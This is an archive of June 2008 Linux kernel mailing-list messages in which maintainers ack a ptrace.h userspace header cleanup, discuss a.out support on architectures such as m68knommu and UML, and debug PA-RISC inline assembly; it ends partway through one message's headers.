Message-ID: <4860AF80.5060809@zankel.net>
References: <20080623174809.GE4756@cs181140183.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1214295983 20711 80.91.229.12 (24 Jun 2008 08:26:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Jun 2008 08:26:23 +0000 (UTC)
Cc: Roland McGrath <roland@redhat.com>, linux-kernel@vger.kernel.org,
	rmk@arm.linux.org.uk, cooloney@kernel.org, dev-etrax@axis.com,
	dhowells@redhat.com, gerg@uclinux.org,
	yasutake.koichi@jp.panasonic.com, linux-parisc@vger.kernel.org,
	paulus@samba.org, linuxppc-dev@ozlabs.org,
	linux-sh@vger.kernel.org, linux-mips@linux-mips.org,
	ysato@users.sourceforge.jp,
	Andrew Morton <akpm@linux-foundation.org>
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-mips-bounce@linux-mips.org Tue Jun 24 10:27:06 2008
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KB3rj-0007KD-OT
	for sgi-linux-mips@gmane.org; Tue, 24 Jun 2008 10:27:03 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:5270 "EHLO
	ftp.linux-mips.org") by ftp.linux-mips.org with ESMTP
	id S20023181AbYFXI0F (ORCPT <rfc822;sgi-linux-mips@gmane.org>);
	Tue, 24 Jun 2008 09:26:05 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 24 Jun 2008 09:25:48 +0100 (BST)
Original-Received: from atlanta.zankel.net ([69.61.78.146]:27408 "EHLO
	atlanta.zankel.net") by ftp.linux-mips.org with ESMTP
	id S20023130AbYFXIZl (ORCPT <rfc822;linux-mips@linux-mips.org>);
	Tue, 24 Jun 2008 09:25:41 +0100
User-Agent: Thunderbird 2.0.0.14 (Macintosh/20080421)
In-Reply-To: <20080623174809.GE4756@cs181140183.pp.htv.fi>
X-archive-position: 19608
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: chris@zankel.net
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:20647 gmane.linux.kernel:697428 gmane.linux.ports.parisc:451 gmane.linux.ports.ppc64.devel:42460 gmane.linux.ports.sh.devel:4059
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/451>

Adrian Bunk wrote:
> This patch contains the following cleanups for the asm/ptrace.h 
> userspace headers:
> - xtensa: cosmetical change to remove empty
>             #ifndef __ASSEMBLY__ #else #endif
>           from the userspace headers
> 
> Signed-off-by: Adrian Bunk <bunk@kernel.org>

The Xtensa part also looks ok.

Acked-by: Chris Zankel <chris@zankel.net>


Regards,
-Chris



From - Thu Nov 08 21:02:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [2.6 patch] asm/ptrace.h userspace headers cleanup
Date: Tue, 24 Jun 2008 11:23:48 +0100
Organization: Red Hat UK Ltd. Registered Address: Red Hat UK Ltd, Amberley
	Place, 107-111 Peascod Street, Windsor, Berkshire, SI4 1TE, United
	Kingdom.
	Registered in England and Wales under Company Registration No. 3798903
Lines: 20
Approved: news@gmane.org
Message-ID: <8058.1214303028@redhat.com>
References: <20080623174809.GE4756@cs181140183.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1214303118 12613 80.91.229.12 (24 Jun 2008 10:25:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Jun 2008 10:25:18 +0000 (UTC)
Cc: dhowells@redhat.com, Roland McGrath <roland@redhat.com>,
	linux-kernel@vger.kernel.org, rmk@arm.linux.org.uk,
	cooloney@kernel.org, dev-etrax@axis.com, gerg@uclinux.org,
	yasutake.koichi@jp.panasonic.com, linux-parisc@vger.kernel.org,
	paulus@samba.org, linuxppc-dev@ozlabs.org,
	linux-sh@vger.kernel.org, chris@zankel.net,
	linux-mips@linux-mips.org, ysato@users.sourceforge.jp,
	Andrew Morton <akpm@linux-foundation.org>
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-sh-owner@vger.kernel.org Tue Jun 24 12:26:00 2008
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KB5ip-00064u-Po
	for glps-linuxsh-dev@gmane.org; Tue, 24 Jun 2008 12:26:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751931AbYFXKZH (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Tue, 24 Jun 2008 06:25:07 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752612AbYFXKZG
	(ORCPT <rfc822;linux-sh-outgoing>); Tue, 24 Jun 2008 06:25:06 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:37057 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751015AbYFXKZE (ORCPT <rfc822;linux-sh@vger.kernel.org>);
	Tue, 24 Jun 2008 06:25:04 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id m5OANobG028481;
	Tue, 24 Jun 2008 06:23:50 -0400
Original-Received: from pobox.devel.redhat.com (pobox.devel.redhat.com [10.11.255.8])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id m5OANodX010058;
	Tue, 24 Jun 2008 06:23:50 -0400
Original-Received: from warthog.cambridge.redhat.com (devserv.devel.redhat.com [10.10.36.72])
	by pobox.devel.redhat.com (8.13.1/8.13.1) with ESMTP id m5OANmlw014518;
	Tue, 24 Jun 2008 06:23:48 -0400
Original-Received: from [127.0.0.1] (helo=redhat.com)
	by warthog.cambridge.redhat.com with esmtp (Exim 4.68 #1 (Red Hat Linux))
	id 1KB5gi-000260-AU; Tue, 24 Jun 2008 11:23:48 +0100
In-Reply-To: <20080623174809.GE4756@cs181140183.pp.htv.fi>
X-Mailer: MH-E 8.0.3+cvs; nmh 1.2-20070115cvs; GNU Emacs 23.0.50
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:4060 gmane.linux.kernel:697468 gmane.linux.ports.parisc:452 gmane.linux.ports.ppc64.devel:42461
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/452>

Adrian Bunk <bunk@kernel.org> wrote:

> This patch contains the following cleanups for the asm/ptrace.h 
> userspace headers:
> - include/asm-generic/Kbuild.asm already lists ptrace.h, remove
>   the superfluous listings in the Kbuild files of the following
>   architectures:
> ...
>   - frv
> ...
> - don't expose function prototypes and macros to userspace:
> ...
>   - mn10300

Acked-by: David Howells <dhowells@redhat.com> (FRV and MN10300)
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: architectures with ARCH_SUPPORTS_AOUT but no binfmt_aout
Date: Tue, 24 Jun 2008 14:46:43 +0300
Lines: 34
Approved: news@gmane.org
Message-ID: <20080624114643.GB16021@cs181140183.pp.htv.fi>
References: <1213604973-7073-1-git-send-email-jacmet@sunsite.dk> <1213617663.26255.708.camel@pmac.infradead.org> <20080616121727.GB10854@cs181133002.pp.htv.fi> <1213619214.26255.721.camel@pmac.infradead.org> <20080617084235.GA20169@cs181133002.pp.htv.fi> <1213696004.26255.960.camel@pmac.infradead.org> <20080617101112.GE20169@cs181133002.pp.htv.fi> <1213702113.26255.996.camel@pmac.infradead.org> <20080622094907.GF27069@cs181133002.pp.htv.fi> <1214134850.2409.2.camel@shinybook.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1214308135 29643 80.91.229.12 (24 Jun 2008 11:48:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Jun 2008 11:48:55 +0000 (UTC)
Cc: Peter Korsgaard <jacmet@sunsite.dk>, linux-kernel@vger.kernel.org,
	sam@ravnborg.org, dhowells@redhat.com, andi@firstfloor.org,
	"Kirill A. Shutemov" <k.shutemov@gmail.com>,
	ysato@users.sourceforge.jp, takata@linux-m32r.org,
	linux-m32r@ml.linux-m32r.org, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	lethal@linux-sh.org, linux-sh@vger.kernel.org,
	linux-arch@vger.kernel.org, gerg@uclinux.org, jdike@addtoit.com
To: David Woodhouse <dwmw2@infradead.org>
Original-X-From: linux-sh-owner@vger.kernel.org Tue Jun 24 13:49:37 2008
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KB71k-0001Lc-CC
	for glps-linuxsh-dev@gmane.org; Tue, 24 Jun 2008 13:49:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751468AbYFXLsn (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Tue, 24 Jun 2008 07:48:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752857AbYFXLsn
	(ORCPT <rfc822;linux-sh-outgoing>); Tue, 24 Jun 2008 07:48:43 -0400
Original-Received: from smtp5.pp.htv.fi ([213.243.153.39]:35551 "EHLO smtp5.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751468AbYFXLsm (ORCPT <rfc822;linux-sh@vger.kernel.org>);
	Tue, 24 Jun 2008 07:48:42 -0400
Original-Received: from cs181140183.pp.htv.fi (cs181140183.pp.htv.fi [82.181.140.183])
	by smtp5.pp.htv.fi (Postfix) with ESMTP id E116F5BC048;
	Tue, 24 Jun 2008 14:48:40 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <1214134850.2409.2.camel@shinybook.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:4062 gmane.linux.kernel:697503 gmane.linux.ports.parisc:453 gmane.linux.kernel.cross-arch:1470
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/453>

On Sun, Jun 22, 2008 at 12:40:50PM +0100, David Woodhouse wrote:
> On Sun, 2008-06-22 at 12:49 +0300, Adrian Bunk wrote:
> > 
> > What about m68knommu?
> > 
> > I don't know whether it was intentionally available there, but the 
> > removal in your patch does not seem to be intentional.
> 
> Hm, true. Well spotted. I think it's probably correct though -- I don't
> think m68knommu can really support a.out binaries, can it?

I found another similar case:

X86_32 UML.

a.out is most likely working there?

> dwmw2

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Mackerras <paulus@samba.org>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [2.6 patch] asm/ptrace.h userspace headers cleanup
Date: Wed, 25 Jun 2008 08:17:15 +1000
Lines: 11
Approved: news@gmane.org
Message-ID: <18529.29291.150197.168137@cargo.ozlabs.ibm.com>
References: <20080623174809.GE4756@cs181140183.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1214348865 22380 80.91.229.12 (24 Jun 2008 23:07:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Jun 2008 23:07:45 +0000 (UTC)
Cc: Roland McGrath <roland@redhat.com>, linux-kernel@vger.kernel.org,
	rmk@arm.linux.org.uk, cooloney@kernel.org, dev-etrax@axis.com,
	dhowells@redhat.com, gerg@uclinux.org,
	yasutake.koichi@jp.panasonic.com, linux-parisc@vger.kernel.org,
	linuxppc-dev@ozlabs.org, linux-sh@vger.kernel.org,
	chris@zankel.net, linux-mips@linux-mips.org,
	ysato@users.sourceforge.jp,
	Andrew Morton <akpm@linux-foundation.org>
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-sh-owner@vger.kernel.org Wed Jun 25 01:08:28 2008
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KBHcg-0004Om-83
	for glps-linuxsh-dev@gmane.org; Wed, 25 Jun 2008 01:08:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754794AbYFXXHd (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Tue, 24 Jun 2008 19:07:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753513AbYFXXHd
	(ORCPT <rfc822;linux-sh-outgoing>); Tue, 24 Jun 2008 19:07:33 -0400
Original-Received: from ozlabs.org ([203.10.76.45]:33765 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753313AbYFXXHc (ORCPT <rfc822;linux-sh@vger.kernel.org>);
	Tue, 24 Jun 2008 19:07:32 -0400
Original-Received: by ozlabs.org (Postfix, from userid 1003)
	id 63FC8DE340; Wed, 25 Jun 2008 09:07:30 +1000 (EST)
In-Reply-To: <20080623174809.GE4756@cs181140183.pp.htv.fi>
X-Mailer: VM 8.0.9 under Emacs 22.1.1 (i486-pc-linux-gnu)
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:4064 gmane.linux.kernel:697778 gmane.linux.ports.parisc:454 gmane.linux.ports.ppc64.devel:42523
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/454>

Adrian Bunk writes:

> This patch contains the following cleanups for the asm/ptrace.h 
> userspace headers:

Acked-by: Paul Mackerras <paulus@samba.org>
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King <rmk+lkml@arm.linux.org.uk>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [2.6 patch] asm/ptrace.h userspace headers cleanup
Date: Wed, 25 Jun 2008 08:46:02 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20080625074602.GA14791@flint.arm.linux.org.uk>
References: <20080623174809.GE4756@cs181140183.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1214380048 27680 80.91.229.12 (25 Jun 2008 07:47:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Jun 2008 07:47:28 +0000 (UTC)
Cc: Roland McGrath <roland@redhat.com>, linux-kernel@vger.kernel.org,
	cooloney@kernel.org, dev-etrax@axis.com, dhowells@redhat.com,
	gerg@uclinux.org, yasutake.koichi@jp.panasonic.com,
	linux-parisc@vger.kernel.org, paulus@samba.org,
	linuxppc-dev@ozlabs.org, linux-sh@vger.kernel.org,
	chris@zankel.net, linux-mips@linux-mips.org,
	ysato@users.sourceforge.jp,
	Andrew Morton <akpm@linux-foundation.org>
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1755169AbYFYHrH@vger.kernel.org Wed Jun 25 09:48:10 2008
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1755169AbYFYHrH@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KBPjc-0006x1-34
	for glk-linux-kernel-3@gmane.org; Wed, 25 Jun 2008 09:48:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755169AbYFYHrH (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 25 Jun 2008 03:47:07 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753124AbYFYHqv
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Wed, 25 Jun 2008 03:46:51 -0400
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218]:56694 "EHLO
	caramon.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753064AbYFYHqu (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 25 Jun 2008 03:46:50 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
	d=arm.linux.org.uk; s=caramon; h=Date:From:To:Cc:Subject:
	Message-ID:References:Mime-Version:Content-Type:In-Reply-To:
	Sender; bh=DPZoLC/PIMX8PnYok//2Q0L7BgRGOutqmDCjPMXiQT8=; b=Hg+sj
	vKffkgaXTO3ymvSPiz2TgC4rH6ierWyf0tauevjOOL8QxssO/blSiZwBBfug/v9e
	BkCRJ7mAiPAuu1V/LcyDZQEbPRmWTn7O8HfL2842KGj5Gherc21ST5zUPQqUX9tP
	GW6bqemuKYQFW50e+w8kF8X337Cirb1lZcEtrc=
Original-Received: from flint.arm.linux.org.uk ([2002:4e20:1eda:1:201:2ff:fe14:8fad])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.69)
	(envelope-from <rmk@arm.linux.org.uk>)
	id 1KBPhe-0002s0-6U; Wed, 25 Jun 2008 08:46:06 +0100
Original-Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.69)
	(envelope-from <rmk@flint.arm.linux.org.uk>)
	id 1KBPhb-00040P-GO; Wed, 25 Jun 2008 08:46:03 +0100
Content-Disposition: inline
In-Reply-To: <20080623174809.GE4756@cs181140183.pp.htv.fi>
User-Agent: Mutt/1.4.2.1i
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:697918 gmane.linux.ports.parisc:455 gmane.linux.ports.ppc64.devel:42546 gmane.linux.ports.sh.devel:4072
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/455>

On Mon, Jun 23, 2008 at 08:48:09PM +0300, Adrian Bunk wrote:
> diff --git a/include/asm-arm/ptrace.h b/include/asm-arm/ptrace.h
> index 7aaa206..8382b75 100644
> --- a/include/asm-arm/ptrace.h
> +++ b/include/asm-arm/ptrace.h
> @@ -139,8 +139,6 @@ static inline int valid_user_regs(struct pt_regs *regs)
>  	return 0;
>  }
>  
> -#endif	/* __KERNEL__ */
> -
>  #define pc_pointer(v) \
>  	((v) & ~PCMASK)
>  
> @@ -153,10 +151,10 @@ extern unsigned long profile_pc(struct pt_regs *regs);
>  #define profile_pc(regs) instruction_pointer(regs)
>  #endif
>  
> -#ifdef __KERNEL__
>  #define predicate(x)		((x) & 0xf0000000)
>  #define PREDICATE_ALWAYS	0xe0000000
> -#endif
> +
> +#endif /* __KERNEL__ */
>  
>  #endif /* __ASSEMBLY__ */
>  

Acked-by: Russell King <rmk+kernel@arm.linux.org.uk>

-- 
Russell King
 Linux kernel    2.6 ARM Linux   - http://www.arm.linux.org.uk/
 maintainer of:

From - Thu Nov 08 21:02:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: in ccio_io_pdir_entry(),BUG_ON() seems to break gcc-4.2 
	optimization?
Date: Thu, 26 Jun 2008 07:28:03 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <K324MR$1963B6E59C4D4D716463AB17911CD186@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1214461758 983 80.91.229.12 (26 Jun 2008 06:29:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 26 Jun 2008 06:29:18 +0000 (UTC)
Cc: "linux-parisc" <linux-parisc@vger.kernel.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 26 08:30:03 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KBkzb-0006t8-4L
	for glpp-linux-parisc@gmane.org; Thu, 26 Jun 2008 08:30:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752397AbYFZG3K (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 26 Jun 2008 02:29:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752528AbYFZG3K
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 26 Jun 2008 02:29:10 -0400
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:60732 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752397AbYFZG3J convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 26 Jun 2008 02:29:09 -0400
Original-Received: from scarlet.be (fuji.is.scarlet.be [193.74.71.41])
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m5Q6S8wV019958;
	Thu, 26 Jun 2008 08:28:14 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: sif; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:456
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/456>

Just for remind:

Joel Soete wrote:
 >
 >
[snip]
 >>> But this time, it seems not consider assembly:
 >>>         asm volatile ("lci %%r0(%%sr1, %1), %0" : "=r" (ci) : "r"
 >>> (vba));
 >>>         asm volatile ("extru %1,19,12,%0" : "+r" (ci) : "r" (ci));
 >>>         asm volatile ("depw  %1,15,12,%0" : "+r" (pa) : "r" (ci));
 >>>
 >>> as a 'volatile' block and insert line 1c:

This seems to make better what I want:
        __asm__ __volatile__ (
        "lci    %%r0(%%sr1, %2), %0\n"
        "\textru        %0,19,12,%0\n"
        "\tdepw         %0,15,12,%1\n"
        : "+r" (ci), "+r" (pa)
        : "r" (vba)
        : "memory"
        );


in <ccio_map_sg>
  200:	06 80 53 13 	lci r0(sr1,r20),r19		      |	 200:	08 1a 02 54 	copy r26,r20
  204:	d2 73 1a 74 	extrw,u r19,19,12,r19		      |	 204:	06 a0 53 14 	lci
r0(sr1,r21),r20
  208:	08 1a 02 5c 	copy r26,ret0			      |	 208:	d2 94 1a 74 	extrw,u
r20,19,12,r20
  20c:	d7 93 0e 14 	depw r19,15,12,ret0		      |	 20c:	d7 94 0e 14 	depw
r20,15,12,ret0
  210:	0e dc 12 80 	stw ret0,0(r22)				 210:	0e dc 12 80 	stw ret0,0(r22)
  214:	06 c0 12 80 	fdc r0(r22)				 214:	06 c0 12 80 	fdc r0(r22)
  218:	00 00 04 00 	sync					 218:	00 00 04 00 	sync

J.

PS: I don't yet understand why kernel panicing when I try to get rid to
reserve 'ci' variable and use in place a gr as r19 (even if clobbered), the
produced object seems ok but resulting kernel panicing (even after a full
rebuild after a make distclean???)


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Dike <jdike@addtoit.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: Re: architectures with ARCH_SUPPORTS_AOUT but no binfmt_aout
Date: Fri, 27 Jun 2008 12:27:31 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20080627162731.GD8381@c2.user-mode-linux.org>
References: <1213617663.26255.708.camel@pmac.infradead.org> <20080616121727.GB10854@cs181133002.pp.htv.fi> <1213619214.26255.721.camel@pmac.infradead.org> <20080617084235.GA20169@cs181133002.pp.htv.fi> <1213696004.26255.960.camel@pmac.infradead.org> <20080617101112.GE20169@cs181133002.pp.htv.fi> <1213702113.26255.996.camel@pmac.infradead.org> <20080622094907.GF27069@cs181133002.pp.htv.fi> <1214134850.2409.2.camel@shinybook.infradead.org> <20080624114643.GB16021@cs181140183.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1214587420 22676 80.91.229.12 (27 Jun 2008 17:23:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Jun 2008 17:23:40 +0000 (UTC)
Cc: David Woodhouse <dwmw2@infradead.org>,
	Peter Korsgaard <jacmet@sunsite.dk>,
	linux-kernel@vger.kernel.org, sam@ravnborg.org,
	dhowells@redhat.com, andi@firstfloor.org,
	"Kirill A. Shutemov" <k.shutemov@gmail.com>,
	ysato@users.sourceforge.jp, takata@linux-m32r.org,
	linux-m32r@ml.linux-m32r.org, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	lethal@linux-sh.org, linux-sh@vger.kernel.org,
	linux-arch@vger.kernel.org, gerg@uclinux.org
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-arch-owner@vger.kernel.org Fri Jun 27 19:24:22 2008
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KCHgL-0002sg-E9
	for glka-linux-arch@gmane.org; Fri, 27 Jun 2008 19:24:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752561AbYF0RX2 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 27 Jun 2008 13:23:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752649AbYF0RX2
	(ORCPT <rfc822;linux-arch-outgoing>);
	Fri, 27 Jun 2008 13:23:28 -0400
Original-Received: from [198.99.130.12] ([198.99.130.12]:41943 "EHLO
	saraswathi.solana.com" rhost-flags-FAIL-FAIL-OK-OK) by vger.kernel.org
	with ESMTP id S1751524AbYF0RX0 (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Fri, 27 Jun 2008 13:23:26 -0400
Original-Received: from c2.user-mode-linux.org (littleton.addtoit.com [198.99.130.129])
	by saraswathi.solana.com (8.13.1/8.13.1) with ESMTP id m5RHC45N015296;
	Fri, 27 Jun 2008 13:12:06 -0400
Original-Received: from c2.user-mode-linux.org (localhost.localdomain [127.0.0.1])
